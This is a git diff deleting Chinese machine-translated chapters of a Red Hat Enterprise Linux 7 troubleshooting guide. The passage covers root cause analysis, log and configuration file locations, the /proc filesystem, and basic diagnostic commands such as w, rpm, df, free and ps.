例如,硬件故障是不可预防的,您可以使用硬盘驱动器的`smartd`等工具主动识别硬件故障,但除了替换它们之外,您不能总是防止它们故障。 对于每一个硬件故障和更换都需要一个 RCA,这是 RCA 过程实现不佳的一个例子。 - -当工程师需要确定硬件故障等常见问题的根本原因时,他们会忽略根本原因过程。 当工程师对一种类型的事故忽略 RCA 过程时,它可能会蔓延到其他类型的事故,从而影响 RCA 的质量。 - -RCA 应该只保留给具有重大影响的事件。 次要事件或常规事件不应该有 RCA 要求; 然而,他们应该被跟踪。 通过跟踪已经更换的硬盘驱动器的数量以及这些硬盘驱动器的制造和型号,可以识别硬件质量问题。 重置用户密码等例行事件也是如此。 通过跟踪这些类型的事件,有可能确定可能的改进领域。 - -## 确定根本原因 - -为了更好地理解 RCA 过程,让我们使用一个在生产环境中看到的假想问题。 - -### 注意事项 - -web 应用在写入文件时崩溃 - -登录到系统后,您会发现应用崩溃了,因为应用试图写入的文件系统已满。 - -### 注意事项 - -**根本原因并不总是显而易见的原因** - -问题的根本原因是文件系统已满吗? 不。 虽然文件系统满可能导致应用崩溃,但这就是所谓的影响因素。 可以纠正一个影响因素,例如文件系统已满,但这不能防止问题再次发生。 - -此时,重要的是要确定为什么文件系统是满的。 在进一步的调查中,您发现这是由于同事禁用了删除旧应用文件的**cron 作业**。 在禁用 cron 作业之后,文件系统上的可用空间逐渐减少。 最终,文件系统得到了 100%的利用。 - -在本例中,问题的根本原因是禁用的 cron 作业。 - -### 有时你必须牺牲根本原因分析 - -让我们看看另一种假设的情况,其中一个问题导致了中断。 由于这个问题造成了重大影响,它绝对需要一个 RCA。 问题是,为了解决这个问题,您需要执行一个消除执行精确 RCA 可能性的活动。 - -这些情况有时需要进行判断,是让停机时间长一点,还是解决停机并牺牲 RCA 的任何机会。 不幸的是,对于这些情况没有单一的答案,正确的答案取决于问题和所影响的环境。 - -### 提示 - -在研究金融系统时,我发现自己不得不经常做出这样的决定。 对于任务关键型系统,答案几乎总是在执行根本原因分析之前恢复服务。 然而,只要有可能,总是首选首先捕获数据,即使数据不能立即审查。 - -# 了解你的环境 - -本章的最后一节是我能建议的最重要的最佳实践之一。 最后一部分介绍了了解环境的重要性。 - -有些人认为,系统管理员的工作仅止于系统上安装的应用,系统管理员应该只关心操作系统和操作系统的组件,如网络或文件系统。 - -我不赞同这种哲学。 实际上,系统管理员往往比创建应用的开发团队更了解应用在生产环境中的工作方式。 - -根据我的经验,为了真正支持服务器,您必须了解在该服务器中运行的服务和应用。 例如,在许多企业环境中,系统管理员被期望处理 web 服务器的配置和管理(例如,Apache 和 Nginx)。 但是,不期望同一个系统管理员管理 Apache 背后的应用(例如 Java 和 C)。 - -Apache 与 Java 应用的区别是什么? 答案是什么都没有; 在一天结束时,它们都是运行在服务器上的应用。 我看到过许多管理员在遇到与应用相关的问题时,只是袖手旁观。 然而,如果问题与 Apache 有关,他们就会立即采取行动。 - -最后,如果这些行政部门与发展部门合作,这些问题可能会得到更快的解决。 理解并帮助解决系统上加载的任何软件的问题是管理员的责任。 该软件是随操作系统一起发布的,还是稍后由应用团队安装的。 - -# 总结 - -在本章中,您了解了有两种主要的故障排除风格,直观的(有经验的猜测者)和系统的(数据收集者)。 我们讨论了哪些故障排除步骤最适合这两种类型,以及一些(适配器)可以利用这两种类型的故障排除。 - -在本书接下来的章节中,当我们对现实生活中的场景进行故障诊断时,我将使用本章中所讨论的过程中强调的直观和系统的故障诊断步骤。 - -本章没有涉及技术细节; 下一章将充满技术细节,因为我们将介绍和探索用于故障排除的常见 Linux 命令。* \ No newline at end of file diff --git a/docs/rhel-troubleshoot-guide/02.md b/docs/rhel-troubleshoot-guide/02.md deleted file mode 100644 index e788edca..00000000 --- a/docs/rhel-troubleshoot-guide/02.md +++ /dev/null @@ -1,933 +0,0 @@ -# 二、故障排除命令和有用信息的来源 - -在第一章中,我们讨论了故障排除最佳实践和所涉及的高级流程。 第一章是关于故障排除的概述,本章开始深入讨论具体问题。 - -本章将回顾常见的故障诊断命令以及常见的地方,以找到有用的信息。 在本书中,我们将使用 Red Hat Enterprise Linux(也称为 RHEL)的第 7 版。 本章中引用的所有命令都是 RHEL 7 默认安装中包含的命令。 - -我们将引用默认安装的命令,因为我曾经遇到过这样的情况:我本可以使用一个特定的命令来立即识别问题,但这个命令对我来说不可用。 通过将本章限制为默认命令,您可以确信本章中介绍的故障排除步骤不仅与大多数 RHEL 7 安装相关,而且还与以前的发行版和其他 Linux 发行版相关。 - -# 查找有用信息 - -在开始探讨故障诊断命令之前,我首先想了解一些有用的信息。 有用信息是一个有点模糊的术语,几乎每个文件、目录或命令都可以提供有用信息*。 我真正打算涵盖的是那些几乎可以找到任何问题信息的地方。* - - *## 日志文件 - -日志文件通常是开始查找故障排除信息的第一个地方。 每当服务或服务器遇到问题时,检查日志文件的错误通常可以快速回答许多问题。 - -### 默认位置 - -默认情况下,RHEL 和大多数 Linux 发行版保持他们在`/var/log/`的日志文件,这实际上是**文件系统层次结构标准的一部分**(**FHS)【显示】由 Linux 基金会。 然而,尽管`/var/log/`可能是缺省位置,但并非所有日志文件都位于中([http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard](http://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard))。** - -虽然`/var/log/httpd/`是 Apache 日志的默认位置,但是这个位置可以通过 Apache 的配置文件更改。 当 Apache 安装在标准 RHEL 包之外时,这种情况尤其常见。 - -像 Apache 一样,大多数服务都允许自定义日志位置。 在`/var/log`之外找到专门为日志文件创建的定制目录或文件系统并不罕见。 - -### 常用日志文件 - -下表是常见日志文件的简短列表,并描述了可以在其中找到的内容。 - -### 提示 - -请记住,这个列表是特定于 Red Hat Enterprise Linux 7 的,虽然其他 Linux 发行版可能遵循类似的约定,但它们不能保证。 - - -| - -日志文件 - - | - -描述 - - | -| --- | --- | -| `/var/log/messages` | 默认情况下,该日志文件包含所有优先级为`INFO`或更高的 syslog 消息(电子邮件除外)。 | -| `/var/log/secure` | 此日志文件包含与身份验证相关的消息项,例如: - -* SSH 登录 -* 用户创作 -* 违反 Sudo 和特权升级 - - | -| `/var/log/cron` | 该日志文件包含了`crond`执行的历史,以及`cron.daily`、`cron.weekly`和其他执行的开始和结束时间。 | -| `/var/log/maillog` | 此日志文件是邮件事件的默认日志位置。 如果使用 postfix,这是所有与 postfix 相关的消息的默认位置。 | -| `/var/log/httpd/` | 这个日志目录是 Apache 日志的默认位置。 虽然这是默认位置,但它并不是所有 Apache 日志的保证位置。 | -| `/var/log/mysql.log` | 这个日志文件是 mysqld 的默认日志文件。 很像`httpd`日志,这是默认的,可以很容易地更改。 | -| `/var/log/sa/` | 此目录包含默认每 10 分钟运行一次的`sa`命令的结果。 我们将在本章后面的章节和本书中更多地使用这些数据。 | - -对于许多问题,要检查的第一个日志文件是`/var/log/messages`日志。 在 RHEL 系统上,该日志文件接收所有优先级为`INFO`或更高的系统日志。 通常,这意味着发送到`syslog`的任何重要事件都将在此日志文件中捕获。 - -以下是可以在`/var/log/messages`中找到的一些日志消息的示例: - -```sh -Dec 24 18:03:51 localhost systemd: Starting Network Manager Script Dispatcher Service... -Dec 24 18:03:51 localhost dbus-daemon: dbus[620]: [system] Successfully activated service 'org.freedesktop.nm_dispatcher' -Dec 24 18:03:51 localhost dbus[620]: [system] Successfully activated service 'org.freedesktop.nm_dispatcher' -Dec 24 18:03:51 localhost systemd: Started Network Manager Script Dispatcher Service. -Dec 24 18:06:06 localhost kernel: e1000: enp0s3 NIC Link is Down -Dec 24 18:06:06 localhost kernel: e1000: enp0s8 NIC Link is Down -Dec 24 18:06:06 localhost NetworkManager[750]: (enp0s3): link disconnected (deferring action for 4 seconds) -Dec 24 18:06:06 localhost NetworkManager[750]: (enp0s8): link disconnected (deferring action for 4 seconds) -Dec 24 18:06:10 localhost NetworkManager[750]: (enp0s3): link disconnected (calling deferred action) -Dec 24 18:06:10 localhost NetworkManager[750]: (enp0s8): link disconnected (calling deferred action) -Dec 24 18:06:12 localhost kernel: e1000: enp0s3 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX -Dec 24 18:06:12 localhost kernel: e1000: enp0s8 NIC Link is Up 1000 Mbps Full Duplex, Flow Control: RX -Dec 24 18:06:12 localhost NetworkManager[750]: (enp0s3): link connected -Dec 24 18:06:12 localhost NetworkManager[750]: (enp0s8): link connected -Dec 24 18:06:39 localhost kernel: atkbd serio0: Spurious NAK on isa0060/serio0\. Some program might be trying to access hardware directly. -Dec 24 18:07:10 localhost systemd: Starting Session 53 of user root. -Dec 24 18:07:10 localhost systemd: Started Session 53 of user root. -Dec 24 18:07:10 localhost systemd-logind: New session 53 of user root. -``` - -正如我们所看到的,在故障诊断问题时,这个示例中有很多日志消息可能会很有用。 - -### 查找不在默认位置的日志 - -很多时候日志文件不在`/var/log/`中,这可能是因为有人将日志位置修改到了默认位置之外的某个位置,也可能仅仅是因为所讨论的服务默认位于另一个位置。 - -一般来说,有三种方法可以找到不在`/var/log/`中的日志文件。 - -#### 检查 syslog 配置 - -如果您知道某个服务正在使用 syslog 进行日志记录,那么检查其消息要写到哪个日志文件的最佳位置是**rsyslog**配置文件。 rsyslog 服务有两个位置用于配置。 第一个是`/etc/rsyslog.d`目录。 - -`/etc/rsyslog.d`目录是用于自定义 rsyslog 配置的 include 目录。 第二个是`/etc/rsyslog.conf`配置文件。 这是 rsyslog 的主要配置文件,包含许多默认的 syslog 配置。 - -以下是`/etc/rsyslog.conf`默认内容的示例: - -```sh -#### RULES #### - -# Log all kernel messages to the console. -# Logging much else clutters up the screen. -#kern.* /dev/console - -# Log anything (except mail) of level info or higher. -# Don't log private authentication messages! -*.info;mail.none;authpriv.none;cron.none /var/log/messages - -# The authpriv file has restricted access. -authpriv.* /var/log/secure - -# Log all the mail messages in one place. -mail.* -/var/log/maillog - -# Log cron stuff -cron.* /var/log/cron -``` - -通过查看这个文件的内容,可以相当容易地确定哪些日志文件包含所需的信息,如果不是的话,至少可以确定 syslog 管理日志文件的可能位置。 - -#### 检查应用配置 - -并不是每个应用都使用 syslog; 对于那些不需要的日志文件,找到应用日志文件的最简单方法之一是读取应用的配置文件。 - -从配置文件中查找日志文件位置的一种快速而有用的方法是使用`grep`命令在文件中搜索单词`log`: - -```sh -$ grep log /etc/samba/smb.conf -# files are rotated when they reach the size specified with "max log size". - # log files split per-machine: - log file = /var/log/samba/log.%m - # maximum size of 50KB per log file, then rotate: - max log size = 50 -``` - -`grep`命令是一个非常有用的命令,可用于搜索文件或目录以查找特定的字符串或模式。 这个命令将在本书中以各种方式使用。 在前面的代码片段中可以看到最简单的命令,其中使用`grep`命令在`/etc/samba/smb.conf`文件中搜索模式“`log`”的任何实例。 - -在查看前面的`grep`命令的输出后,我们可以看到配置的 samba 日志位置是`/var/log/samba/log.%m`。 需要注意的是,在本例中,在创建文件时,`%m`实际上被替换为一个“机器名”。 这实际上是 samba 配置文件中的一个变量。 这些变量对于每个应用都是唯一的,但是这种生成动态配置值的方法是一种常见的实践。 - -##### 其他例子 - -下面是使用`grep`命令在 Apache 和 MySQL 配置文件中搜索“`log`”的示例: - -```sh -$ grep log /etc/httpd/conf/httpd.conf -# ErrorLog: The location of the error log file. -# logged here. If you *do* define an error logfile for a -# container, that host's errors will be logged there and not here. -ErrorLog "logs/error_log" - -$ grep log /etc/my.cnf -# log_bin -log-error=/var/log/mysqld.log -``` - -在这两个实例中,此方法都能够识别服务日志文件的配置参数。 通过前面的三个示例,很容易看出通过配置文件进行搜索是多么有效。 - -#### 使用 find 命令 - -`find`命令是另一种查找日志文件的有用方法,将在本章后面深入介绍。 `find`命令用于在目录结构中搜索指定文件。 查找日志文件的一种快速方法是简单地使用`find`命令搜索以“`.log`”结尾的任何文件: - -```sh -# find /opt/appxyz/ -type f -name "*.log" -/opt/appxyz/logs/daily/7-1-15/alert.log -/opt/appxyz/logs/daily/7-2-15/alert.log -/opt/appxyz/logs/daily/7-3-15/alert.log -/opt/appxyz/logs/daily/7-4-15/alert.log -/opt/appxyz/logs/daily/7-5-15/alert.log -``` - -前一种方法通常被认为是最后的解决方案,通常在前一种方法不能产生结果时使用。 - -### 提示 - -在执行`find`命令时,最佳实践是非常明确地指定要搜索的目录。 当在非常大的目录上执行时,服务器的性能可能会降低。 - -## 配置文件 - -如前所述,应用或服务的配置文件可以是很好的信息源。 虽然配置文件不会为您提供特定的错误,比如日志文件,但它们可以为您提供关键信息(例如,启用/禁用特性、输出目录和日志文件位置)。 - -### 系统默认配置目录 - -通常,在大多数 Linux 发行版中,系统和服务配置文件位于`/etc/`目录中。 然而,这并不意味着每个配置文件都位于`/etc/`目录中。 事实上,应用在其`home`目录中包含配置目录的情况并不少见。 - -那么,您如何知道什么时候应该在`/etc/`目录中查找配置文件,而不是在应用目录中查找配置文件呢? 一般的经验法则是,如果包是 RHEL 发行版的一部分,那么可以安全地假设配置在`/etc/`目录中。 其他内容可能存在`/etc/`目录中,也可能不存在。 对于这些情况,你只需要寻找它们。 - -### 查找配置文件 - -在大多数情况下,可以使用`ls`命令,通过一个简单的目录清单,在`/etc/`目录中找到系统配置文件: - -```sh -$ ls -la /etc/ | grep my --rw-r--r--. 1 root root 570 Nov 17 2014 my.cnf -drwxr-xr-x. 2 root root 64 Jan 9 2015 my.cnf.d -``` - -前面的代码片段使用`ls`执行目录列表,并将该输出重定向到`grep`,以便在输出中搜索字符串“`my`”。 从输出中可以看到,有一个`my.cnf`配置文件和一个`my.cnf.d`配置目录。 MySQL 进程使用这些进行配置。 我们可以通过假设任何与 MySQL 相关的内容都包含字符串“`my`”来找到这些内容。 - -#### 使用 rpm 命令 - -如果配置文件作为 RPM 包的一部分部署,那么可以使用`rpm`命令来标识配置文件。 要做到这一点,只需执行带有`–q`(查询)标志的`rpm`命令,以及`–c`(configfiles)标志,后面加上包的名称: - -```sh -$ rpm -q -c httpd -/etc/httpd/conf.d/autoindex.conf -/etc/httpd/conf.d/userdir.conf -/etc/httpd/conf.d/welcome.conf -/etc/httpd/conf.modules.d/00-base.conf -/etc/httpd/conf.modules.d/00-dav.conf -/etc/httpd/conf.modules.d/00-lua.conf -/etc/httpd/conf.modules.d/00-mpm.conf -/etc/httpd/conf.modules.d/00-proxy.conf -/etc/httpd/conf.modules.d/00-systemd.conf -/etc/httpd/conf.modules.d/01-cgi.conf -/etc/httpd/conf/httpd.conf -/etc/httpd/conf/magic -/etc/logrotate.d/httpd -/etc/sysconfig/htcacheclean -/etc/sysconfig/httpd -``` - -`rpm`命令用于管理 RPM 包,在故障排除时是非常有用的命令。 在下一节中,我们将进一步讨论用于故障排除的命令。 - -#### 使用 find 命令 - -与查找日志文件类似,要查找系统上的配置文件,可以使用命令。 在搜索日志文件时,使用`find`命令搜索所有以`.log`结尾的文件。 在下面的示例中,使用`find`命令搜索名称以“`http`”开头的所有文件。 这个`find`命令应该至少返回一些结果,这些结果将提供与 HTTPD (Apache)服务相关的配置文件: - -```sh -# find /etc -type f -name "http*" - -/etc/httpd/conf/httpd.conf -/etc/sysconfig/httpd -/etc/logrotate.d/httpd -``` - -上面的示例搜索`/etc`目录; 然而,这也可以用于搜索任何应用主目录中的用户配置文件。 与搜索日志文件类似,使用`find`命令搜索配置文件通常被认为是最后的手段,不应该是使用的第一种方法。 - -## proc 文件系统 - -一个非常有用的信息源是`proc`文件系统。 这是一个由 Linux 内核维护的特殊文件系统。 文件系统可以用来查找关于正在运行的进程的有用信息,以及其他系统信息。 例如,如果我们想要识别一个系统支持的文件系统,我们可以简单地读取`/proc/filesystems`文件: - -```sh -$ cat /proc/filesystems -nodev sysfs -nodev rootfs -nodev bdev -nodev proc -nodev cgroup -nodev cpuset -nodev tmpfs -nodev devtmpfs -nodev debugfs -nodev securityfs -nodev sockfs -nodev pipefs -nodev anon_inodefs -nodev configfs -nodev devpts -nodev ramfs -nodev hugetlbfs -nodev autofs -nodev pstore -nodev mqueue -nodev selinuxfs - xfs -nodev rpc_pipefs -nodev nfsd -``` - -这个文件系统非常有用,它包含了大量关于正在运行的系统的信息。 在本书的整个故障排除步骤中将使用`proc filesystem`。 在诊断从特定进程到只读文件系统的所有问题时,可以以各种方式使用它。 - -# 故障处理命令 - -本节将介绍常用的故障排除命令,这些命令可用于从系统或运行中的服务收集信息。 虽然不可能涵盖所有可能的命令,但所使用的命令确实涵盖了 Linux 系统的基本故障排除步骤。 - -## 命令行基础知识 - -本书中使用的故障排除步骤主要是基于命令行。 虽然可以从图形化桌面环境中执行其中的许多操作,但更高级的项是特定于命令行的。 因此,本书假设读者至少对 Linux 有一个基本的了解。 更具体地说,本书假设读者已经通过 SSH 登录到服务器,并且熟悉基本命令,如`cd`、`cp`、`mv`、`rm`和`ls`。 - -对于那些可能不太熟悉的人,我想快速介绍一些基本的命令行用法,这是本书所需要的知识。 - -### 命令标志 - -许多读者可能都熟悉下面的命令: - -```sh -$ ls -la -total 588 -drwx------. 5 vagrant vagrant 4096 Jul 4 21:26 . -drwxr-xr-x. 3 root root 20 Jul 22 2014 .. --rw-rw-r--. 1 vagrant vagrant 153104 Jun 10 17:03 app.c -``` - -大多数人应该知道这是`ls`命令,它用于执行目录列表。 可能不太熟悉的是该命令的`–la`部分具体是什么或做什么。 为了更好地理解这一点,让我们看看 ls 命令本身: - -```sh -$ ls -app.c application app.py bomber.py index.html lookbusy-1.4 lookbusy-1.4.tar.gz lotsofiles -``` - -`ls`命令的前一次执行看起来与前一次非常不同。 这是因为后者是`ls`的默认输出。 命令的`–la`部分通常称为命令标志或选项。 命令标志允许用户在提供特定选项的情况下更改命令的默认行为。 - -事实上,`–la`标志是两个单独的选项,`–l`和`–a`; 它们甚至可以单独指定: - -```sh - $ ls -l -a -total 588 -drwx------. 5 vagrant vagrant 4096 Jul 4 21:26 . -drwxr-xr-x. 3 root root 20 Jul 22 2014 .. --rw-rw-r--. 1 vagrant vagrant 153104 Jun 10 17:03 app.c -``` - -我们可以从前面的代码片段中看到,`ls –la`的输出与`ls –l –a`完全相同。 对于常见命令,如`ls`命令,标志是否分组或分隔无关紧要,它们将以相同的方式解析。 贯穿本书,例子将显示分组和未分组。 如果出于任何特定原因进行分组或取消分组,它将被调用; 否则,本书中使用的分组或非分组是为了视觉吸引力和记忆。 - -除了分组和取消分组,本书还将以长格式显示旗帜。 在前面的示例中,我们展示了标志`-a`,这被称为短标志。 同样的选项也可以以长格式`--all`提供: - -```sh -$ ls -l --all -total 588 -drwx------. 5 vagrant vagrant 4096 Jul 4 21:26 . -drwxr-xr-x. 3 root root 20 Jul 22 2014 .. --rw-rw-r--. 1 vagrant vagrant 153104 Jun 10 17:03 app.c -``` - -`–a`和`--all`标志本质上是相同的选项; 它可以简单地用短形式和长形式来表示。 - -一个重要的要记住的是,不是每个简短的标志都有一个长形式,反之亦然。 每个命令都有自己的语法,有些命令只支持短格式,有些命令只支持长格式,但许多命令两者都支持。 在大多数情况下,长标记和短标记都将在命令的手册页中进行记录。 - -### 管路命令输出 - -另一个常见的命令行实践是`piping`输出,在本书中将多次使用。 具体来说,例子如下: - -```sh -$ ls -l --all | grep app --rw-rw-r--. 1 vagrant vagrant 153104 Jun 10 17:03 app.c --rwxrwxr-x. 1 vagrant vagrant 29390 May 18 00:47 application --rw-rw-r--. 1 vagrant vagrant 1198 Jun 10 17:03 app.py -``` - -在上面的示例中,`ls -l --all`命令的输出通过管道传递到`grep`命令。 通过在两个命令之间放置`|`或管道字符,第一个命令的输出将通过管道传递到第二个命令的输入。 将执行`ls`命令之前的示例; 然后,`grep`命令将在输出中搜索模式“`app`”的任何实例。 - -在本书中,管道输出到`grep`实际上会经常使用,因为这是将输出修剪成可维护尺寸的简单方法。 很多时候,示例还包含多个级别的管道: - -```sh -$ ls -la | grep app | awk '{print $4,$9}' -vagrant app.c -vagrant application -vagrant app.py -``` - -在前面的代码中,`ls -la`的输出通过管道传递到`grep`的输入; 然而,这一次,`grep`的输出也通过管道输送到`awk`的输入。 - -虽然可以通过管道传递许多命令,但并不是每个命令都支持这一点。 通常,从文件或命令行接受用户输入的命令也接受管道输入。 与标志一样,可以使用命令的手册页来标识该命令是否接受管道输入。 - -## 收集一般信息 - -在长时间管理相同的服务器时,您开始记住有关这些服务器的关键信息。 比如物理内存的数量、文件系统的大小和布局,以及应该运行哪些进程。 然而,当您不熟悉所讨论的服务器时,收集这类信息总是一个好主意。 - -本节中的命令可用于收集此类通用信息。 - -### 显示谁登录了,他们正在做什么 - -在我的系统管理生涯早期,我有一位导师,他曾经告诉我:*当我登录到服务器*时,我总是运行 w。 这个简单的技巧实际上在我的职业生涯中一次又一次地非常有用。 `w`命令很简单; 执行时,它将输出诸如系统正常运行时间、平均负载和登录用户等信息: - -```sh -# w - 04:07:37 up 14:26, 2 users, load average: 0.00, 0.01, 0.05 -USER TTY LOGIN@ IDLE JCPU PCPU WHAT -root tty1 Wed13 11:24m 0.13s 0.13s -bash -root pts/0 20:47 1.00s 0.21s 0.19s -bash -``` - -在使用不熟悉的系统时,这些信息非常有用。 即使您熟悉该系统,输出也很有用。 使用这个命令,你可以看到: - -* When this system was last rebooted: - - :这些信息非常有用; 无论是 Apache 等服务关闭的警告,还是用户调用,因为他们被锁定在系统之外。 当这些问题是由意外重启引起时,报告的问题通常不包含这些信息。 通过运行`w`命令,很容易看到自上次重新启动以来所经过的时间。 - -* The load average of the system: - - `load average: 0.00, 0.01, 0.05`:平均负载是对系统健康状况的一个非常重要的度量。 总的来说,平均负载是一段时间内处于`wait`状态的进程的平均数量。 `w`输出中的三个数字代表不同的时间。 - - 这些数字从左到右排列为 1 分钟、5 分钟和 15 分钟。 - -* Who is logged in and what they are running: - * `USER TTY LOGIN@ IDLE JCPU PCPU WHAT` - * `root tty1 Wed13 11:24m 0.13s 0.13s -bash` - - `w`命令提供的最后一条信息是当前登录的用户以及他们正在执行的命令。 - -这是实质上与`who`命令的相同的输出,其中包括登录的用户、登录的时间、空闲时间以及 shell 正在运行的命令。 最后一项非常重要。 - -在与大团队合作时,通常会有不止一个人对一个问题或罚单做出回应。 通过在登录后立即运行`w`命令,您将看到其他用户正在做什么,从而防止您覆盖其他用户所采取的任何故障排除或纠正步骤。 - -### rpm - rpm 包管理器 - -`rpm`命令用于管理**Red Hat 包管理器**(**RPM**)。 使用该命令可以安装和删除 RPM 包,也可以搜索已经安装的 RPM 包。 - -在本章的前面,我们看到了如何使用`rpm`命令来查找配置文件。 下面是使用`rpm`命令查找关键信息的几种其他方法。 - -#### 列出所有安装的软件包 - -在对服务进行故障排除时,一个关键步骤通常是确定服务的版本及其安装方式。 要列出系统上安装的所有 RPM 包,只需使用`-q`(查询)和`-a`(全部)执行`rpm`命令: - -```sh -# rpm -q -a -kpatch-0.0-1.el7.noarch -virt-what-1.13-5.el7.x86_64 -filesystem-3.2-18.el7.x86_64 -gssproxy-0.3.0-9.el7.x86_64 -hicolor-icon-theme-0.12-7.el7.noarch -``` - -`rpm`命令是一个非常多样化的命令,有许多标志。 在前面的示例中,使用了`-q`和`-a`标志。 `-q`标志告诉`rpm`命令正在执行的操作是查询; 你可以把它想象成一个“搜索模式”。 `-a`或`--all`标志告诉`rpm`命令列出所有包。 - -一个有用的特性是在前面的命令中添加`--last`标志,因为这会导致`rpm`命令按安装时间列出包,最新的在前面。 - -#### 列出一个包部署的所有文件 - -另一个有用的`rpm`函数是显示由特定包部署的所有文件: - -```sh -# rpm -q --filesbypkg kpatch-0.0-1.el7.noarch -kpatch /usr/bin/kpatch -kpatch /usr/lib/systemd/system/kpatch.service -``` - -在前面的示例中,我们再次使用`-q`标志和`--filesbypkg`标志来指定正在运行一个查询。 `--filesbypkg`标志将导致`rpm`命令列出指定包部署的所有文件。 - -在试图确定服务的配置文件位置时,这个示例非常有用。 - -#### 使用包验证 - -在第三个示例中,我们将使用的一个非常有用的特性`rpm`—verify。 `rpm`命令能够验证指定包部署的文件是否已从其原始内容更改。 为此,我们将使用`-V`(verify)标志: - -```sh -# rpm -V httpd -S.5....T. c /etc/httpd/conf/httpd.conf -``` - -在前面的示例中,我们简单地运行带有`-V`标志和包名的`rpm`命令。 `-q`标志用于查询,`-V`标志用于验证。 使用这个命令,我们可以看到只列出了`/etc/httpd/conf/httpd.conf`文件; 这是因为`rpm`将只输出已更改的文件。 - -在该输出的第一列中,我们可以看到哪个验证检查文件失败。 虽然这一列一开始有点神秘,但 rpm 手册页有一个有用的表(如下表所示)解释每个字符的含义: - -* `S`:表示文件大小不同 -* `M`:这意味着模式不同(包括权限和文件类型) -* `5`:这意味着摘要(以前的`MD5 sum`)不同 -* `D`:设备主/副号码不匹配 -* `L`:表示`readLink(2)`路径不匹配 -* `U`:这意味着用户的所有权不同 -* `G`:群组所有权不同 -* `T`:表示`mTime`不同 -* `P`:表示`caPabilities`不同 - -使用这个列表,我们可以看到`httpd`。 `conf's`文件大小、`MD5`总和和`mtime`(修改时间)不是由`httpd.rpm`部署的。 这意味着`httpd.conf`文件很可能在安装后被修改了。 - -虽然乍一看,`rpm`命令可能不像故障诊断命令,但前面的示例显示了故障诊断工具的强大程度。 通过这些示例,可以很容易地识别重要的文件,以及这些文件是否已从部署的版本中修改。 - -### df -报告文件系统空间使用情况 - -在诊断文件系统问题时,`df`命令是一个非常有用的命令。 `df`命令用于输出挂载文件系统的空间利用率: - -```sh -# df -h -Filesystem Size Used Avail Use% Mounted on -/dev/mapper/rhel-root 6.7G 1.6G 5.2G 24% / -devtmpfs 489M 0 489M 0% /dev -tmpfs 498M 0 498M 0% /dev/shm -tmpfs 498M 13M 485M 3% /run -tmpfs 498M 0 498M 0% /sys/fs/cgroup -/dev/sdb1 212G 58G 144G 29% /repos -/dev/sda1 497M 117M 380M 24% /boot -``` - -在上例中,`df`命令中包含`-h`标志。 此标志使`df`命令以“人类可读”的格式打印任何大小的值。 默认情况下,`df`将简单地以千字节为单位打印这些值。 从这个示例中,我们可以快速地看到所有挂载文件系统的当前使用情况。 具体地说,如果我们看一下输出,我们可以看到`/filesystem`目前使用了 24%: - -```sh -Filesystem Size Used Avail Use% Mounted on -/dev/mapper/rhel-root 6.7G 1.6G 5.2G 24% / -``` - -这是识别文件系统是否已满的一种非常快速和简单的方法。 此外,`df`命令在显示挂载哪些文件系统以及它们挂载到何处的详细信息方面也非常有用。 从包含`/filesystem`的行中,我们可以看到底层设备是`/dev/mapper/rhel-root`。 - -通过这个命令,我们能够识别两个关键的信息片段。 - -#### 显示可用的索引节点 - -`df`的默认行为是显示已使用的文件系统空间量。 但是,它还可以用于显示每个文件系统可用、使用和空闲的**inode**的数量。 要输出 inode 利用率,只需在执行`df`命令时添加`-i`(inode)标志: - -```sh -# df -i -Filesystem Inodes IUsed IFree IUse% Mounted on -/dev/mapper/rhel-root 7032832 44318 6988514 1% / -devtmpfs 125039 347 124692 1% /dev -``` - -仍然可以使用`–h`标志和`df`以人类可读的格式打印输出。 但是,使用`–i`标志,将输出缩写为`M`,表示数百万,`K`表示数千,以此类推。 这种输出很容易与兆字节或千字节混淆,所以通常,在与其他用户/管理员共享输出时,我不使用人类可读的 inode 输出。 - -### 空闲显示内存利用率 - -当执行`free`命令时,将输出关于系统可用内存和正在使用内存的统计信息: - -```sh -$ free - total used free shared buffers cached -Mem: 1018256 789796 228460 13116 3608 543484 --/+ buffers/cache: 242704 775552 -Swap: 839676 4 839672 -``` - -从前面的示例中,我们可以看到`free`命令的输出提供了总可用内存、当前使用的内存数量和空闲内存数量。 `free`命令是识别系统中内存当前状态的一种简单而快速的方法。 - -然而,`free`的输出一开始可能有点令人困惑。 - -#### 免费的东西并不总是免费的 - -与其他操作系统相比,Linux 使用内存的方式有所不同。 在前面的输出中,您将看到它列出了 543,484 KB 作为缓存。 这个内存,虽然在技术上使用,实际上是可用内存的一部分。 系统可以根据需要重新分配缓存的内存。 - -在输出的第二行可以看到一种快速而简单的方法来查看实际使用或免费的内容。 上面的输出显示系统上有 775,552 KB 的可用内存。 - -#### /proc/meminfo 文件 - -在以前的 RHEL 版本中,`free`命令的第二行是确定可用内存数量的最简单方法。 然而,在 RHEL 7 中,对`/proc/meminfo`文件进行了一些改进。 其中一个改进是增加了**MemAvailable**统计数据: - -```sh -$ grep Available /proc/meminfo -MemAvailable: 641056 kB -``` - -`/proc/meminfo`文件是位于`/proc`文件系统中的许多有用文件之一。 这个文件由内核维护,包含系统当前的内存统计信息。 在诊断内存问题时,这个文件非常有用,因为它包含的信息比`free`命令的输出多得多。 - -### ps -报告当前运行进程的快照 - -`ps`命令是用于任何故障排除活动的基本命令。 当执行这个命令时,将输出一个正在运行的进程列表: - -```sh -# ps - PID TTY TIME CMD -15618 pts/0 00:00:00 ps -17633 pts/0 00:00:00 bash -``` - -`ps`命令有许多标志和选项,用于显示关于运行进程的不同信息。 下面是一些在故障排除过程中有用的示例`ps`命令。 - -#### 打印每道工序的长格式 - -下面的`ps`命令使用`-e`(所有,所有进程)、`-l`(长格式)和`-f`(全格式)标志。 这些标志将导致`ps`命令不仅打印每个进程,而且还将以一种提供相当多有用信息的格式打印它们: - -```sh -# ps -elf -F S UID PID PPID C PRI NI ADDR SZ WCHAN STIME TTY TIME CMD -1 S root 2 0 0 80 0 - 0 kthrea Dec24 ? 00:00:00 [kthreadd] -``` - -`ps -elf`前面的输出,我们可以看到很多有用的信息`kthreadd`的过程,等信息**父进程 ID**(**PPID**),优先级【显示】的(**PRI),【病人】**美好价值**(【t16.1】**倪), 以及正在运行的进程的**驻留内存大小**(**SZ**)。**** - -我发现前面的例子是一个非常通用的`ps`命令,可以在大多数情况下使用。 - -#### 打印特定用户的进程 - -前面的例子可以变得相当大; 这使得识别特定过程变得困难。 本例使用`-U`标志指定用户。 这会导致`ps`命令打印所有作为指定用户运行的进程; 后缀在以下情况下: - -```sh -ps -U postfix -l -F S UID 